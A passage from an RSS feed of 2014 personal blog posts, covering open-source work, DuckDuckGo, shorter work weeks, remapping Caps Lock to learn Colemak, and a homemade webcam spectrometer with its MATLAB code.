&lt;p&gt;Not too long after that, I started writing my own &lt;a href="https://github.com/bastibe/"&gt;open source libraries&lt;/a&gt;, and publishing them on the web. And before too long, people began using those projects! And then they started contributing to them as well! In a way, one of my main griefs with working for a company has always been that there are so few people with which you can talk about the things you do all day. And now, suddenly, random people from all over the world are showing interest and help for the things I do in my spare time! I really can't emphasize enough how much this involvement with the open source community and other people has improved my view of the world, and my understanding of the work I do!&lt;/p&gt;
&lt;h1&gt;My next adventure&lt;/h1&gt;
&lt;p&gt;This has been a summary of the things I did so far. It has been an incredible journey, and one that never stopped to surprise me. Now I am finishing my master's thesis, and getting ready for a doctorate after that. All the work I did and do is based on the incredible work of people before me. At least for the time being, I want this to be the goal of my further work: To advance the sum total knowledge of the world, if only by a tiny bit.&lt;/p&gt;
&lt;p&gt;For this, my most important tool is still programming. Learning how to program is an immensely valuable skill, and &lt;a href="http://learnpythonthehardway.org/book/advice.html"&gt;doubly so&lt;/a&gt; if your job title is not &amp;quot;developer&amp;quot; or &amp;quot;programmer&amp;quot;. Programming is not just a tool to talk to the computer and earn a living. We should not forget that programming is also a rich thinking tool for trying out new ideas, and sharing them with other people.&lt;/p&gt;
&lt;p&gt;For the moment, I have no desire for being beholden to some company dictating my goals and hiding my achievements. Writing this up has proven to be a very liberating and insightful experience for myself, just the way my &lt;a href="https://github.com/bastibe/org-journal"&gt;research journal&lt;/a&gt; is for my day-to-day work. Putting ideas and algorithms in writing is an incredibly useful tool for finding one's place in the world and contributing to its betterment!&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sun, 20 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-07-20-working-and-learning.html</guid></item><item><title>If I Stay</title><link>https://olshansky.info/movie/if_i_stay/</link><description>Olshansky's review of If I Stay</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 19 Jul 2014 19:24:38 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/if_i_stay/</guid></item><item><title>Emacs Package Archive Statistics</title><link>https://alanpearce.eu/post/emacs-package-archive-statistics/</link><description>Working out which package archives I'm using</description><author>Alan Pearce</author><pubDate>Sat, 19 Jul 2014 16:19:54 GMT</pubDate><guid isPermaLink="true">https://alanpearce.eu/post/emacs-package-archive-statistics/</guid></item><item><title>Brett Terpstra Features First Crack</title><link>http://brettterpstra.com//2014/07/18/web-excursions-for-july-18-2014/</link><description>&lt;p&gt;Roughly once a week, give or take a few days, Brett Terpstra publishes a new installment in his &amp;#8220;&lt;a href="http://brettterpstra.com/topic/bookmarks/"&gt;Web Excursions&lt;/a&gt;&amp;#8221; series, where he talks about interesting bookmarks from around the internet. In yesterday&amp;#8217;s issue, &lt;a href="http://brettterpstra.com//2014/07/18/web-excursions-for-july-18-2014/"&gt;Web Excursions for July 18, 2014&lt;/a&gt;, he featured &lt;a href="https://zacs.site/blog/first-crack-10.html"&gt;First Crack 1.0&lt;/a&gt; front and center. That&amp;#8217;s pretty cool.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://brettterpstra.com//2014/07/18/web-excursions-for-july-18-2014/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sat, 19 Jul 2014 13:56:18 GMT</pubDate><guid isPermaLink="true">http://brettterpstra.com//2014/07/18/web-excursions-for-july-18-2014/</guid></item><item><title>What is special about DDG</title><link>https://boyter.org/2014/07/special-ddg/</link><description>&lt;p&gt;Since I am still bringing all my content together I thought I would pull in this post from Quora asking &lt;a href="https://www.quora.com/Search-Engines/What-is-so-special-about-DuckDuckGo"&gt;what is special about DuckDuckGo&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Privacy enabled by default. This certainly helped get traction when the NSA security revelations came around. DDG is not the only privacy conscious search engine but certainly one that pushes it as a feature more then others. See &lt;a href="https://duckduckgo.com/privacy"&gt;https://duckduckgo.com/privacy&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;!bang syntax. Remember back in the early days of Google they had a &amp;ldquo;Try this search on&amp;rdquo; and a list of search engines? !bang is that idea on steroids. This makes the cost of switching to DDG much lower then any other search engine because you are not locked in when its results are lacking.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Sat, 19 Jul 2014 05:37:05 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/07/special-ddg/</guid></item><item><title>2014-07-19</title><link>https://ho.dges.online/pictures/2014-07-19/</link><description>&lt;p&gt;Waiting for the Commonwealth Games torch&amp;hellip;&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 19 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-07-19/</guid></item><item><title>Ricerous</title><link>https://venam.net/blog/unix/2014/07/19/ricerous.html</link><description>Hello fellow readers, This post is simply to link to the ricerous project threads.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Sat, 19 Jul 2014 00:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2014/07/19/ricerous.html</guid></item><item><title>Amazon's Whale Strategy</title><link>http://stratechery.com/2014/amazons-whale-strategy</link><description>&lt;p&gt;You cannot&amp;#160;&amp;#8212;&amp;#160;ought not&amp;#160;&amp;#8212;&amp;#160;judge the Fire phone by the traditional standards against which we have come to judge all devices these days, but rather from the perspective of a goods and services company that seeks to facilitate streamlined access to its storefront for its most loyal and devoted customers by offering them a device integrated with its own services to a degree made impossible through third-party integration alone on another device maker&amp;#8217;s platform. When considered in this light, the Fire Phone is, inarguably, an interesting proposition that more than merits the considerable number of think-pieces that have been devoted to it since its announcement. This is the point Ben Thompson makes here, and makes so, so very well.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/amazons-whale-strategy"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 18 Jul 2014 10:47:07 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/amazons-whale-strategy</guid></item><item><title>The Future of Computing</title><link>https://zacs.site/blog/the-future-of-computing.html</link><description>&lt;p&gt;In a style made popular by Benedict Evans in his hallmark Twitter postulations, posit: computers were created for writers. As such, the next iteration of computing devices will cater to the needs of others: creators and designers will have Jarvis-like artificial intelligence systems to converse with and holographic interfaces to involve their entire bodies in the creation process. The current model involves the two tools of the writer&amp;#8217;s trade: their hands and their minds. Future implementations will go beyond those unnecessary restrictions that don&amp;#8217;t apply in other fields in order to provide a richer, more productive computing experience.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-future-of-computing.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 17 Jul 2014 10:13:08 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-future-of-computing.html</guid></item><item><title>A 40 Hour Work Week</title><link>https://josh.works/jobs/growth/2014/07/17/a-40-hour-work-week/</link><description>&lt;p&gt;Business Insider posted an article on why we have a 
&lt;a href="http://www.businessinsider.com/the-real-reason-for-the-40-hour-workweek-2014-6"&gt;40 hour work week&lt;/a&gt;.
The author blames big business for why we’ve not dropped below 40 hours per week. He thinks that if America became less consumer-driven, our economy would collapse.&lt;/p&gt;

&lt;p&gt;He’s got the wrong starting assumptions about what is good and bad for an economy, but he’s right that a 40 hour work week is unnecessarily strict, and counter-productive. Many full-time office workers would love to work “only” 40 hours, and once you tack in the occasional nine hours of work, plus lunch, plus commuting, most of us spend 11 hours a day getting ready for, traveling to and from, or existing at, work.&lt;/p&gt;

&lt;p&gt;One way to gain control over your life is to reduce commuting time. I’m obviously a fan of working remotely, at least part of your work week.&lt;/p&gt;

&lt;p&gt;Beyond this, though, is the idea that work only gets done in forty hours a week, and between the hours of nine and five. Jason Fried, founder of a very successful, privately held, fully remote company argues that 
&lt;a href="http://www.ted.com/talks/jason_fried_why_work_doesn_t_happen_at_work"&gt;work doesn’t happen at work&lt;/a&gt;. I agree. Work also doesn’t happen in the intervals we think it does.&lt;/p&gt;

&lt;p&gt;Time and time again it has been found that constraints improve workflow. 
&lt;a href="http://en.wikipedia.org/wiki/Timeboxing"&gt;Timeboxing&lt;/a&gt; is enormously effective when trying to complete specific, well-defined bits of work. 
&lt;a href="http://www.redguava.com.au/jobs/"&gt;RedGuava&lt;/a&gt;, a 
&lt;a href="http://en.wikipedia.org/wiki/Software_as_a_service"&gt;SaaS&lt;/a&gt; company in New Zealand works just 30 hours a week. We could call them lazy, but isn’t that confusing effort with result?&lt;/p&gt;

&lt;p&gt;They’ve built a fantastic product, and do so while living their life, rather than deferring 
everythinguntil retirement.&lt;/p&gt;

&lt;p&gt;I would love to see more experiments with shorter work weeks, to see how it affects work that gets done. You could do half-day Fridays, or seven-hour days. Both of these would trim a workweek from 40 hours to 35. What an experiment!&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 17 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/jobs/growth/2014/07/17/a-40-hour-work-week/</guid></item><item><title>I'd Drive That</title><link>https://zacs.site/blog/id-drive-that.html</link><description>&lt;p&gt;Every so often an article crosses my path wherein the author drools over a custom shop&amp;#8217;s awesome modifications to an already awesome vehicle, and then I invariably spend a good long while extricating myself from the inevitable rabbit hole that ensues. As of this writing, &lt;a href="https://zacs.site/blog/el-diablo-jeep.html"&gt;nearly four months have passed since I have gone down that path&lt;/a&gt;, continuing my trend of leaving roughly &lt;a href="https://zacs.site/blog/superhero-vehicles.html"&gt;three months&lt;/a&gt; between each of these articles. Today, I&amp;#8217;m back for another round: thanks to the rediscovery of three monsters I squirreled away in my Instapaper queue a number of weeks ago, and only just recently rediscovered, I finally have cause to once again spend time appreciating these mechanical marvels at the intersection of industrial design and raw power.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/id-drive-that.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 16 Jul 2014 10:04:17 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/id-drive-that.html</guid></item><item><title>STOP YELLING ON THE INTERNET, or, A Better Use for the Caps Lock Key</title><link>https://josh.works/stop-yelling-on-the-internet-or-a-better-use-for-the-caps-lock-key</link><description>&lt;p&gt;My current project is to learn to type using an alternative keyboard layout called Colemak.
QWERTY has problems. Here are a few, shamelessly borrowed from
&lt;a href="http://colemak.com/FAQ"&gt;Colemak.com&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;It places very rare letters in the best positions, so your fingers have to move a lot more.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It suffers from a high same finger ratio that slows down typing and increases strain.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It allows for very long sequences of letters with the same hand (e.g. “sweaterdresses”)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It was designed to prevent the keys from sticking, without any consideration to ergonomic or efficiency aspects.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It was designed so the word “typewriter” could be typed on the top row to ease demonstrations.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It suffers from an extremely high ratio of home-row-jumping sequences (e.g. “minimum”)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Devorak is the most commonly known alternative keyboard layout (citation needed) but, for a number of reasons, Colemak wins the race. Mostly because Colemak keeps common keyboard shortcuts, like CTRL+V, C, B, X, Z, Q, and others. Less letters move around in Colemak, so it’s less of a hassle to learn.&lt;/p&gt;

&lt;p&gt;That said, it’s still quite difficult! I never realized how powerful muscle memory was until I remapped the caps lock key to delete.&lt;/p&gt;

&lt;p&gt;I strongly recommend making this modification on your keyboard, even if you never plan on switching away from QWERTY. It makes such a difference. Here are a few of the benefits:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Faster use of backspace&lt;/strong&gt;
. The delete key is ten times as far from your hands as the caps lock key. This takes time.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Less finger strain&lt;/strong&gt;
. Since you’re not stretching, it’s easier on your hands.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use the mouse while deleting&lt;/strong&gt;
. This is a big one. Without this modification, if you want to click&amp;gt;delete, click&amp;gt;delete you need one hand on the mouse, and the other reaches across the keyboard. It’s annoying. It’s even worse on a laptop, where you have to move your right hand from mouse pad to delete and back, every time.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, how do you make the switch? I will give Mac users instructions. PC users, you are more or less
&lt;a href="http://bit.ly/1t1nCS0"&gt;on your own&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Download and install
&lt;a href="https://pqrs.org/osx/karabiner/seil.html.en"&gt;Seil&lt;/a&gt;. Run it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Under “Caps Lock” check the “Change Caps Lock” option. Set the new behavior to “Delete”.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Open up your System Preferences. Navigate to Keyboard Settings.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;On the “Keyboard” tab, open “Modifier Keys”. Under “Caps Lock Key” choose “No Action”. If you don’t do this, your new Delete key won’t repeat. It would just delete one character per keystroke.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OK. Now your caps lock key deletes. This was the easy part. Now you have to train your brain to use it. The only way I was successful was by remapping
another key. I changed the normal delete key to “Left Shift” This way,
I could not use it any more. I HAD to use the caps lock key if I wanted to delete anything.&lt;/p&gt;

&lt;p&gt;Let me warn you - this is is frustrating for the first few days. You’ll think hard about using caps lock, you’ll be successful, but as soon as you start thinking about something else, you’ll start using the normal delete key.&lt;/p&gt;

&lt;p&gt;So - Set this up. Give it a shot. I’m thrilled that I did, and I use both delete keys interchangeably. I also YELL LESS ON THE INTERNET!&lt;/p&gt;

&lt;p&gt;Next, I’ll cover what I’ve learned about typing while learning Colemak!&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="http://cdn.shopify.com/s/files/1/0152/0433/products/Ultimate_hero_1024x1024.jpg?v=1371673491" /&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 16 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/stop-yelling-on-the-internet-or-a-better-use-for-the-caps-lock-key</guid></item><item><title>Learn to Type - Again</title><link>https://josh.works/learn-to-type-again</link><description>&lt;p&gt;Yesterday, we talked about why the
&lt;a href="/blog/2014/07/16/stop-yelling-on-the-internet-or-a-better-use-for-the-caps-lock-key"&gt;Caps Lock key should be converted into a delete key&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id="what-ive-learned-from-learning-colemak"&gt;What I’ve learned from learning Colemak&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Short, focused practice yields great results.&lt;/strong&gt;
 When I start a timer for twenty minutes, I feel a sense of urgency, rather than defeat. Time boxing practice seems to be fantastic.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I get mentally drained very quickly.&lt;/strong&gt;
It’s difficult to fight my muscle memory so much. It’s frustrating to be constantly hitting the wrong key. I find myself fading and becoming apathetic sometimes in less than twenty minutes. My accuracy and speed go down dramatically when I’m tired.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Immediate feedback is crucial.&lt;/strong&gt;
All the programs I’ve used give immediate visual and audible feedback when I hit the wrong key. This means I don’t have to watch what I’m typing, and am able to focus just on what I want to type.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I need to focus far less on speed, and far more on accuracy.&lt;/strong&gt;
 When I’m “lazy”, I type “quickly” (30-40 wpm) but have an accuracy rate of only 90%. That would be great if it were a test, but that means I’m making an error every ten characters. When I slow down, and get closer to 20 wpm, my accuracy goes up, and I’ll start hitting 98%. One error every ten characters is very different from one error every 48 characters.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="the-process"&gt;The Process&lt;/h4&gt;

&lt;p&gt;Started with
&lt;a href="http://first20hours.github.io/keyzen-colemak/"&gt;KeyZen&lt;/a&gt;, to learn the finger positions. I struggled (and still do) to get R and S straightened out. I keep hitting the wrong one. I finished the KeyZen stage after about 45 minutes of practice, or two sessions. (I just went through the whole lower-case alphabet.&lt;/p&gt;

&lt;p&gt;Next, I went on to
&lt;a href="http://type-fu.com/"&gt;TypeFu&lt;/a&gt;. I started with words for one session, and went to proverbs the next. I was feeling like I was not making much progress, since I kept making the same mistakes, over and over, and was typing slowly.&lt;/p&gt;

&lt;p&gt;So I went to
&lt;a href="https://code.google.com/p/amphetype/"&gt;Amphetype&lt;/a&gt;, to focus on the most common words in the English language. This was my first lesson:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;the of and the of and the of and the of the of and the of and the of and the of the of and the of and the of and the of&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pretty basic, but quite effective. I stayed on each lesson until I could type it with 98% accuracy, and above 20 words per minute. This has been, by far, the most effective way of learning Colemak. I’ve stayed with Amphetype for the last four sessions, and am not planning on stopping for a while. The process to populate the lessons took a bit of researching, because it’s a now-defunct side project of a Python programer.&lt;/p&gt;

&lt;p&gt;The interface is ugly, but it works.&lt;/p&gt;

&lt;p&gt;As a side note, I think the above process would work splendidly for anyone that is hunting-and-pecking. You already know where the keys are, you just need to train yourself to stop looking at the keyboard. Also, you wouldn’t have to be un-training yourself from using the wrong keys.&lt;/p&gt;

&lt;p&gt;Does anyone here hunt and peck, or know anyone who does who wants to learn to type? I bet that with a total of two hours of practice, spread out in small chunks over a few days, anyone can be typing above 60 wpm without looking at the keyboard.&lt;/p&gt;

&lt;p&gt;Anyone who already touch types and wants to get better - the above method should work! The difference between typing 50-60 words per minute (or less) and typing mostly at the speed at which you can think is astounding. Typing at around 20 words per minute is frustrating.&lt;/p&gt;

&lt;p&gt;As you can probably guess, I’ve typed this in QWERTY. But I’m off to practice Colemak!&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5ce4b0278244cea182/1434910441851/2014-07-10-14-31-56.jpg"&gt;&lt;img alt="I got an AeroPress Coffee Press. Still learning to use it well, but I really like it." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ce4b0278244cea182_1434910441851_2014-07-10-14-31-56.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 16 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/learn-to-type-again</guid></item><item><title>Travis Truett: Co-founder &amp;amp; CEO of Ambition</title><link>https://solomon.io/travis-truett-co-founder-ceo-of-ambition/</link><description>Travis Truett is the founder of Ambition, a sales productivity platform based around teams.</description><author>Sam Solomon</author><pubDate>Wed, 16 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/travis-truett-co-founder-ceo-of-ambition/</guid></item><item><title>Ruby on Rails and PostgreSQL - Intro to Advanced</title><link>https://www.brightball.com/articles/ruby-on-rails-and-postgresql-intro-to-advanced</link><description>Beginning August 18th I will be offering a three week evening class aimed at professional programmers who want to learn Ruby on Rails and PostgreSQL, with the goal of becoming proficient with both in a very short time.</description><author>Brightball Articles</author><pubDate>Wed, 16 Jul 2014 00:55:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/ruby-on-rails-and-postgresql-intro-to-advanced</guid></item><item><title>DIY Spectrometer</title><link>https://ericonotes.blogspot.com/2013/05/diy-spectrometer.html</link><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOiMcGAd3e0X0OScbtX5_1QTiyN4-rpl9V0pm7EaB0vy1R74bx-YSi-Y6CjioUtHZSG5RF0awHgw_PkJeXDfL6FBhp8nutTBfBMWbIPe4DBna6rGFvsDPMxuHIvG1U_oeAthZdZMP91jWL/s1600/diy_spectrometer_by_doomiest-d5cz062.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOiMcGAd3e0X0OScbtX5_1QTiyN4-rpl9V0pm7EaB0vy1R74bx-YSi-Y6CjioUtHZSG5RF0awHgw_PkJeXDfL6FBhp8nutTBfBMWbIPe4DBna6rGFvsDPMxuHIvG1U_oeAthZdZMP91jWL/s400/diy_spectrometer_by_doomiest-d5cz062.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Some time ago I had some time, a spare webcam, Matlab and some Legos lying around, so I began building a Spectrometer from it. Now, to the hardware, you just need a dark box, with no light infusing in it, and a piece of dvd to use as diffraction grid. This website will help to answer most questions:&amp;nbsp;&lt;a href="http://publiclaboratory.org/tool/spectrometer"&gt;http://publiclaboratory.org/tool/spectrometer&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
At the time, their software didn't ran on my computer so I started prototyping my own in matlab. The code is below:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;span style="color: #666666;"&gt;% Copyright 2014 Érico Porto

% Licensed under the Apache License, Version 2.0 (the "License");
% you may not use this file except in compliance with the License.
% You may obtain a copy of the License at

%     http://www.apache.org/licenses/LICENSE-2.0

% Unless required by applicable law or agreed to in writing, software
% distributed under the License is distributed on an "AS IS" BASIS,
% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
% See the License for the specific language governing permissions and
% limitations under the License.&lt;/span&gt;

vid = videoinput('winvideo', 1, 'YUY2_640x480');
preview(vid);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;pause&lt;/span&gt;(4);
color_spectrum = ycbcr2rgb(getsnapshot(vid));

&lt;span style="color: #3f7f59;"&gt;%correct the orientation&lt;/span&gt;
binImg = im2bw(color_spectrum,0.24);
I = bwlabel(binImg);
a= regionprops(I,'MajorAxisLength','Area','Orientation');
[areaMaxArea, indexMaxArea]= &lt;span style="color: #7f0055; font-weight: bold;"&gt;max&lt;/span&gt;([a(:).Area]);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;angle&lt;/span&gt; = a(indexMaxArea).Orientation;
color_spectrum = imrotate(color_spectrum,-&lt;span style="color: #7f0055; font-weight: bold;"&gt;angle&lt;/span&gt;,'bilinear','crop');
&lt;span style="color: #3f7f59;"&gt;%now I want to get the main rectangle&lt;/span&gt;
binImg = im2bw(color_spectrum,0.08);
I = bwlabel(binImg);
a= regionprops(I,'BoundingBox','Area');
[areaMaxArea, iMA]= &lt;span style="color: #7f0055; font-weight: bold;"&gt;max&lt;/span&gt;([a(:).Area]);
subImage = imcrop(color_spectrum,&lt;span style="color: #7f0055; font-weight: bold;"&gt;round&lt;/span&gt;(a(iMA).BoundingBox));

&lt;span style="color: #3f7f59;"&gt;%here I'm guessing the light wavelength!&lt;/span&gt;
&lt;span style="color: #3f7f59;"&gt;%I think I need to use 380nm and 750nm as my bounding&lt;/span&gt;
XAxis=&lt;span style="color: #7f0055; font-weight: bold;"&gt;zeros&lt;/span&gt;(&lt;span style="color: #7f0055; font-weight: bold;"&gt;size&lt;/span&gt;(subImage,2),1);
XAxis(1)=380.0;
XAxis(&lt;span style="color: #7f0055; font-weight: bold;"&gt;length&lt;/span&gt;(XAxis))=750.0;

&lt;span style="color: #3f7f59;"&gt;%find blue - 472nm&lt;/span&gt;
[intensity, blueI] = &lt;span style="color: #7f0055; font-weight: bold;"&gt;max&lt;/span&gt;(&lt;span style="color: #7f0055; font-weight: bold;"&gt;mean&lt;/span&gt;(subImage(:,:,3)));
XAxis(blueI)=472.0;

&lt;span style="color: #3f7f59;"&gt;%find green - 532nm&lt;/span&gt;
[intensity, greenI] = &lt;span style="color: #7f0055; font-weight: bold;"&gt;max&lt;/span&gt;(&lt;span style="color: #7f0055; font-weight: bold;"&gt;mean&lt;/span&gt;(subImage(:,:,2)));
XAxis(greenI)=532.0;

&lt;span style="color: #3f7f59;"&gt;%find red - 685nm&lt;/span&gt;
[intensity, redI] = &lt;span style="color: #7f0055; font-weight: bold;"&gt;max&lt;/span&gt;(&lt;span style="color: #7f0055; font-weight: bold;"&gt;mean&lt;/span&gt;(subImage(:,:,1)));
XAxis(redI)=685.0;

&lt;span style="color: #3f7f59;"&gt;%Now I will run and fill the zeros...&lt;/span&gt;
beginI=1; endI=blueI; 
&lt;span style="color: #7f0055; font-weight: bold;"&gt;for&lt;/span&gt; i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;end&lt;/span&gt;
beginI=blueI; endI=greenI; 
&lt;span style="color: #7f0055; font-weight: bold;"&gt;for&lt;/span&gt; i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;end&lt;/span&gt;
beginI=greenI; endI=redI;
&lt;span style="color: #7f0055; font-weight: bold;"&gt;for&lt;/span&gt; i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;end&lt;/span&gt;
beginI=redI; endI=&lt;span style="color: #7f0055; font-weight: bold;"&gt;length&lt;/span&gt;(XAxis); 
&lt;span style="color: #7f0055; font-weight: bold;"&gt;for&lt;/span&gt; i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;end&lt;/span&gt;
&lt;span style="color: #3f7f59;"&gt;%this ends, the wavelength vector is ready for use!&lt;/span&gt;

&lt;span style="color: #7f0055; font-weight: bold;"&gt;figure&lt;/span&gt;(2);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;colormap&lt;/span&gt;(gray(256));
gray_spectrum=((double(subImage(:,:,1))+double(subImage(:,:,2))+double(subImage(:,:,3)))/3.0);
image(gray_spectrum);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;figure&lt;/span&gt;(3);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;colormap&lt;/span&gt;(gray(256));
Grayimg_reversed=&lt;span style="color: #7f0055; font-weight: bold;"&gt;flipud&lt;/span&gt;(gray_spectrum);
graph=&lt;span style="color: #7f0055; font-weight: bold;"&gt;mean&lt;/span&gt;( Grayimg_reversed ,1);

&lt;span style="color: #3f7f59;"&gt;%Finally I can plot a nice graph with meaningfull axis&lt;/span&gt;
&lt;span style="color: #7f0055; font-weight: bold;"&gt;plot&lt;/span&gt;(XAxis,graph);
&lt;span style="color: #7f0055; font-weight: bold;"&gt;pause&lt;/span&gt;(3);
delete(vid);&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
For improvement, I would suggest being able to save the resulting vector with easy to some sort of table, to later use this big table to guess what I have in front of it - using Hungarian or other solver method.&lt;/div&gt;</description><author>Erico Notes</author><pubDate>Wed, 16 Jul 2014 00:49:48 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2013/05/diy-spectrometer.html</guid></item><item><title>Break DNA in pieces using Matlab</title><link>https://ericonotes.blogspot.com/2013/09/break-dna-in-pieces-using-matlab.html</link><description>Ok, the idea here is to try to unite the bits later.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% Copyright 2014 Érico Porto&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% Licensed under the Apache License, Version 2.0 (the "License");&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% you may not use this file except in compliance with the License.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% You may obtain a copy of the License at&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% &amp;nbsp; &amp;nbsp; http://www.apache.org/licenses/LICENSE-2.0&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;
